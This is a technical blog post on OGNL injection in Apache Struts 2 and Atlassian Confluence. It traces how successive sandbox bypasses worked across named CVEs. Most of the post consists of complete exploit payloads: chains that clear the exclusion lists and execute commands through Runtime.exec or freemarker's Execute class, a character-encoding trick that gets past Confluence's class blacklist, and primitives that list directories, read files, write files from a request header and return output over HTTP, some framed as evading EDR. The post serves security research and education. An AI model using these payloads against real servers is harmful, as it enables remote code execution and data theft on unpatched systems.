OGNL stands for Object-Graph Navigation Language and it’s a widely used expression language in the Java web world. Its main ability is to provide advanced functionalities on web template rendering, specially on Struts 2 framework and Atlassian WebWork.

OGNL provides access to Java core libraries and can perform code execution on template rendering for web applications, this of course implies certain security concerns, because if a user-supplied input is evaluated as OGNL, it will be able to execute dangerous functions on the server-side.

This post pretends to serve as a guide to better understand how OGNL works, and how frameworks put restrictions in place (and fail) to avoid straightforward OGNL injection explotation by sandboxing its capabilities.

OGNL 101

It’s recommended to read the OGNL introduction and OGNL basics manuals from the Struts project. In this article we will make a brief introduction to OGNL basics to understand how to create OGNL primitives for our injections.

There are two main ways OGNL is evaluated, the first and most common way is through JSP files, inside Struts tags. The second, used mostly by framework internals is calling the OGNL expression parser using the OGNL java library.

An OGNL expression insde a Struts tag on a JSP file looks as follows:

<s:property value="%{obj.field}"/>

In the case above, %{obj.field} is an OGNL expression, which access the obj object and its field atribute. But where is this object stored? How OGNL access this object through a JSP file? It uses something called The ValueStack.

Didn’t you asked yourself why OGNL stands for Object-Graph Navigation Language? Well, that’s because OGNL uses a graph of objects that can be navigated, just like directories, but instead of folders, we have objects. The default tree is:

context map---|
              |--application
              |--session
              |--value stack (root)
              |--action (the current action)
              |--request
              |--parameters
              |--attr (searches page, request, session, then application scopes)

The ValueStack is the default object to be accessed, As its name says, it’s a stack, values are pushed and poped on the stack, but OGNL sees the ValueStack as a single object.

To access other non-root objects (objects which aren’t on the ValueStack) we can use the “#” prefix, for example: <s:property value="#session['mySessionPropKey']"/> or <s:property value="%{#session['mySessionPropKey']}"/> (they are equivalent, the %{} just forces the evaluation).

OGNL syntax.

OGNL isn’t like a programming language, it’s an expression language, and because of that it has a special syntax.

OGNL expressions are written inside %{} string. And instead of new lines, the sub-expressions are wrapped inside parenthesis and then joined using .. For example:

%{ (#a = 1).(#b = 2).(a+b) } This will result in 3 as the last expression is taken as return value.

Variable declaration.

As seen on the example above, to declare a variable in OGNL we can use the # prefix.

Some examples:

#a=1
#a="abc"
#a=true

Access static objects.

To access static functions of classes, OGNL provides the @ prefix: (#a = @java.lang.String@valueOf('test')) will create an String object with ‘test’ string, note that as we are calling the static valueOf method, we need to use the @prefix both on the class name and the method name.

Conditionals.

OGNL let you implement conditional branches using the ternary operator ? as in many other languages.

(#os = @java.lang.System@getProperty('os.name')).(#os == 'Linux' ? <true> : <false>)

Loops.

There’s not so much examples about OGNL loops on the internet. To perform loops on OGNL we use the brackets syntax.

(#i=0).
(#array.{
    (#element=#array[#i]).
    (<do something with the element>).
    (#i=#i+1)
})

I’ve splitted the lines to better understand and read the snippet, but in reality they should be written without new lines.

As you may see, the loop will execute inside the #array.{ ... } element, and will iterate for each #array element. We declared an index #i to track which element of the array we are accessing.

Pretty ugly way to loop over arrays, I know.

Class instantiation.

You can also instantiate Java classes using its fully qualified name, i.e. java.lang.String or java.io.File etc, as OGNL can’t resolve by itself the default java namespaces.

Let’s explain it better some expression snippets.

%{(#a = new java.lang.String('test')}

or

%{(#a = @java.lang.String@valueOf('test'))} to call static methods.

Inline hash instantiation.

OGNL allows to instantiate and fill a hash map using a curly braces notation, for example:

%{(#a = #@java.util.LinkedHashMap@{'foo':'value'})}

When OGNL injection occurs?

OGNL injection occurs when the framework parses untrusted user-supplied data as OGNL. Unlike how it happens on template injection, OGNL injections doesn’t need to be reflected in the output, and usually are not fault of the application developer, but the framework itself.

Let’s see some real life examples to better understand where this injections occurs. S2-045 is a great example of how OGNL injection can occur without beign reflected on the output.

S2-045 refers to a vulnerability in the MultiPartRequestWrapper method. When and error occurs parsing the Content-Type header, the error handling mechanism of Struts ends up passing the string inside Content-Type header to TextParseUtil.translateVariables() method, which evaluates the string as OGNL when the string is inside %{}.

Two main functions ends-up parsing OGNL TextParseUtil.findValue() and TextParseUtil.translateVariables(), many vulnerabilities occur because user-supplied strings ends up as parameters of this functions.

Another fast and easy way for the developer to identify this kind of injections is to test for %{7*7} on their application input and see if the reflected result is 49.

OGNL sandbox restrictions in Struts 2.

Struts limits the functionality of OGNL to prevent Java classes from beign instantiated. OGNL uses the attribute #_memberAccess from the SecurityMemberAccess object to prevent many objects to load. By default it’s attribute allowStaticMethodAccess is set to false, this prevents access to static, protected and private methods.

OGNL also provides a blacklist of classes that can be loaded, excludedClasses, excludedPackageNames and excludedPackageNamePatterns

Bypass 1. Before Struts 2.3.14.

Before Struts 2.3.20, the @_memberAccess attribute was accesible, so you could simply stablish the value of allowStaticMethodAccess to true like this:

%{(#_memberAccess['allowStaticMethodAccess']=true).(<whatever you want to do>)}

Struts team decided to make allowStaticMethodAccess final, to prevent it’s value from beign changed on runtime.

Bypass 2. Before Struts 2.3.20.

Now, more restrictions are added, the main restrictions are:

  • No constructor calls allowed.
  • Excluded classes and packages blacklist is added. (Check it)

All this changes affects the SecurityMemberAccess object, but there’s another weaker version of this security object, the DefaultMemberAccess (check it) object, which doesn’t have any of this restrictions. What OGNL exploits for this Struts version does is to asign #_memberAccess to @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS to bypass the restrictions.

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(<whatever you want to do>)}

Bypass 3. Before Struts 2.3.29.

Things start to get hard. In this version, #_memberAccess is no longer available, also MemberAcces and DefaultMemberAccess are included on the blacklist.

So, now what? Let’s take a look at the on the wild found exploit for this Struts version.

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.excludedClasses.clear()).
(#ognlUtil.excludedPackageNames.clear()).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('<whatever to execute>'))

As you can see, #context still accessible, so we can get an instance of OgnlUtil which is not blacklisted and clear the excludedClasses and excludedPackages list. After that using the setter method, we can set the member access to the DefaultMemberAccess, because excludedClasses is cleared.

Bypass 4. Before Struts 2.5.16.

Researcher Man Yue Mo, from Github Security team, found a way to bypass new security restrictions to exploit CVE-2018-11776 in Struts.

Access to #context is not available anymore, so we need to find a way to access ActionContext class.

Man Yue Mo found a way to bypass the #context access restriction using two requests, the first, access #context using #attr['struts.ValueStack'].context and clears excludedClasses and excludedPackages.

(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).
(#ognlUtil.setExcludedPackageNames(''))

And the second request, sets #_memberAccess to DefaultMemberAccess as always.

(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('<whatever to execute>'))

Bypass 5. Before Struts 2.5.22. (Bypass of S2-059)

CVE-2020-17530 exploits a double-evaluation vulnerability on Struts, similar to the previous one. This vulnerability was found by the great Alvaro Muñoz and Masato Anzai, they didn’t published a bypass for the S2-059 restrictions, but an exploit was found on the wild.

Access to #context using the #attr['struts.valueStack'] is no longer available, so an alternative way to access #context need to be found. Also com.opensymphony.xwork2.ActionContext is now on the blacklist of excludedClasses.

The exploit is dissected for a better reading experience.

(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).

(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).
(#bean.setBean(#stack)).

(#context=#bean.get("context")).
(#bean.setBean(#context)).

(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).

(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).

(#arglist=#instancemanager.newInstance("java.util.ArrayList")).
(#arglist.add("<whatever to execute>")).

(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))

As you can see, this exploit depends on Tomcat to be the server where the application is running on (in rare cases Struts applications aren’t run over Tomcat).

It uses the InstanceManager from Tomcat to call constructors thus bypassing the constructors restriction.

It cleverly uses BeanMap class from apache commons collection for setting and getting the key classes need to bypadd Struts security restrictions, context, #_memberAccess, excludedClasses and excludedPackageNames.

Finally it uses the well-known freemarker.template.utility.Execute class to execute the commands.

Bypass 6. Before Struts 2.5.29. (Bypass of S2-061)

CVE-2021-31805 exists due to an incomplete fix of CVE-2020-17530, so the vulnerability is esentially the same, a double evaluation bug.

Things start to get really confusing. An exploit found in the wild bypasses the restrictions in place when fixing S2-061, let’s take a look at it (the exploit is dissected and simplified for a better understanding).

Now, org.apache.tomcat.* and many other libraries are included on the excludedPackageNames, so access to "org.apache.tomcat.InstanceManager is not available anymore.

A security researcher found that OGNL allows to create and populate hash maps by using curly braces at the end of the class name, so there’s no need to first call InstanceManager to instantiate a BeanMap as you can just use BeanMap@{} and OGNL will instantiate the class and populate the map with empty values for you.

There’s no restrictions for accessing org.apache.commons.collections.* so the bypass is clear.

(#request.map=#@org.apache.commons.collections.BeanMap@{})
(#request.map.setBean(#request.get('struts.valueStack')))

(#request.map2=#@org.apache.commons.collections.BeanMap@{})
(#request.map2.setBean(#request.get('map').get('context')))

(#request.map3=#@org.apache.commons.collections.BeanMap@{})
(#request.map3.setBean(#request.get('map2').get('memberAccess')))

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())) 
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()))

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(<whatever to execute>))

The first two lines creates a BeanMap using the curly braces technique, and stores it into #request.map, you can also use #application.map or #attr.map, whatever you want. Then, gets the ValueStack from struts.valueStack as seen on previous payloads, setting the and sets the BeanMap created earlier to the ValueStack instance.

Then it creates another two other maps, map2 and map3 and repeats the process, this time to get #context and #_memberAccess but through the first BeanMap created.

The following steps is to set excludedPackageName and excludedClasses to an empty set as seen on previous bypasses.

And finally, org.apache.tomcat.InstanceManager is accesible again. Using the well-known freemarker.template.utility.Execute class, we can now execute commands.

OGNL in the Atlassian WebWork framework.

Atlassian products are also affected regularly by OGNL injection vulnerabilities. Particularly, the Confluence server usually get hit by OGNL injections.

Atlassian uses a function named SafeExpressionUtil.isSafeExpressionInternal() before every OGNL parsing.

Researcher Quang Vo did a great research on how to bypass isSafeExpressionInternal security method.

As Struts does, Atlassian Confluence has an excluded classes blacklist:

sun.misc.Unsafe
classLoader
java.lang.System
java.lang.ThreadGroup
com.opensymphony.xwork.ActionContect
java.lang.Compiler
com.attlassian.applinks.api.ApplicationLinkRequestFactory
java.lang.Thread
com.atlassian.core.util.ClassLoaderUtils
java.lang.ProcessBuilder
java.lang.InheritableThreadLocal
com.atlassian.core.util.ClassHelper
class
java.lang.Shutdown
java.lang.ThreadLocal
java.lang.Process
java.lang.Package
org.apache.tomcat.InstanceManager
java.lang.Runtime
javax.script.ScriptEngineManager
javax.persistence.EntityManager
org.springframework.context.ApplicationContext
java.lang.SecurityManager
java.lang.Object
java.lang.Class
java.lang.RuntimePermission
javax.servlet.ServletContext
java.lang.ClassLoader

Atlassian dissects the OGNL payload into substrings using an AST parser but Java has the ability to load a class using a string of it’s class name, this is called reflection. Reflection can be done using Class.forName(<class name>) method.

As you may guess, you can do something like Class.forName("java.lang.Run" + "time"). But turns out that concatenation doesn’t work when Ognl.parseExpression() is called with our expression.

So instead of concatenating using the + operator, we can use the concat() function mixed with charAt() and toChars() methods.

The following payload is the equivalent to write java.lang.Runtime:

true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())

This trick is also mentioned in 2020 by the researcher Will Boucher in this blog post on how to bypass WAF when there’s an EL Injection.

HTTP output of executed commands in OGNL.

One thing those bypasses and payloads doesn’t mention is how to get the output of the commands as HTTP output when the result of the OGNL evaluation is not reflected.

Here I describe two ways, the first to get the output of a String via HTTP output:

(#output=#o).(#strIs=new java.io.ByteArrayInputStream(@java.lang.String@valueOf(#output).getBytes())).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#strIs,#ros)).(#ros.flush())

And a second one for getting the HTTP output of a ByteArray stream, to download or read a binary file.

(#output=#o).(#strIs=new java.io.ByteArrayInputStream(#output)).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#strIs,#ros)).(#ros.flush())

Alternative OGNL primitives to avoid executing commands.

Both ProcessBuilder and freemarker.template.utility.Execute ends up creating a subprocess of cmd.exe or /bin/sh and calling the corresponding command to get it’s output. This behavior could be detected by EDR/XDR software as pontentially malicious behavior.

List files (ls)

To list files as ls command does, we need to use an OGNL loop over to read the desired directory.

(#fol = new java.io.File('#{ls_path}')).(#fileNames = #fol.list()).(#finalStr=@java.lang.String@valueOf('')).(#i=0).(#fileNames.{(#c=#fileNames[#i]).(#i=#i+1).(#finalStr=#finalStr.concat(#c+\"\\n\"))}).(#o=#finalStr)

The file names are stored in #o, then use the HTTP output primitive to print them over HTTP.

Read files (cat)

Get the file as ByteArray:

(#f=new java.io.File('<file_to_read>')).(#o=@org.apache.commons.io.FileUtils@readFileToByteArray(#f))

Then use the ByteArray HTTP output primitive to output the file.

Get current directory (pwd)

This is a simple one:

(#pwd = new java.io.File('.').getCanonicalPath()).(#o=#pwd)

Write file, using a custom header.

This payload will get the file data stored in a custom header named Data and write it to the desired file path and name.

(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('Data')).(#f=new java.io.FileWriter('<path to write>',true)).(#f.write(#data)).(#f.close())

How about using Base64 to decode the Data header and allow writing binary data? This is an exercise to the reader!

References

  • CVE-2017-5638: https://medium.com/@lucideus/exploiting-apache-struts2-cve-2017-5638-lucideus-research-83adb9490ede
  • (S2-057) CVE-2018-11776: https://isecurity.huawei.com/sec/web/viewBlog.do?id=1857
  • https://securitylab.github.com/research/apache-struts-CVE-2018-11776/
  • (S2-059) CVE-2019-0230 https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
  • (S2-061) CVE-2020-17530: - https://blog.qualys.com/vulnerabilities-threat-research/2021/09/21/apache-struts-2-double-ognl-evaluation-vulnerability-cve-2020-17530
  • https://securitylab.github.com/research/ognl-injection-apache-struts/
  • https://securitylab.github.com/research/apache-struts-double-evaluation/
  • https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
  • https://mr-r3bot.github.io/research/2022/06/06/Confluence-Preauth-RCE-2022.html